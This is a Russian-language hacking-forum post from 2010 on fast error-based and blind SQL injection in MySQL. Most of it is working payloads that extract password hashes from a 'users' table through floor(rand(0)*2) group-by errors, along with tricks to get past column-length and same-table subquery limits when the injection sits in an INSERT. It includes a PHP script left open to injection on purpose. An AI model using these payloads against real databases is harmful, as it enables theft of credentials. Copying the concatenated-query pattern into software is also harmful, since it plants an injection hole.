Форум АНТИЧАТ - Быстрый Blind SQL Injection

#21

05.01.2010, 00:30

cr0w

Познающий

Регистрация: 11.09.2008

Сообщений: 99

Провел на форуме:
2753780

Репутация: 585

При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:

Код:

script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--

Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;

И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:

PHP код:


		
			
<?php 

mysql_connect("localhost", "root", ""); 

mysql_select_db ('test'); 



$rеz = mysql_query ("INSERT INTO users (name,pass) VALUES ('" . $_REQUEST[name] . "','" . $_REQUEST[pass]. "');") or die (mysql_error()); 

?>

Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:

Код:

test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+

MySQL не позволит этого сделать, выдав ошибку:

Код:

You can't specify target table 'users' for update in FROM clause

Обходится это ограничение очень просто:

Код:

test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+

Последний раз редактировалось cr0w; 05.01.2010 в 05:42..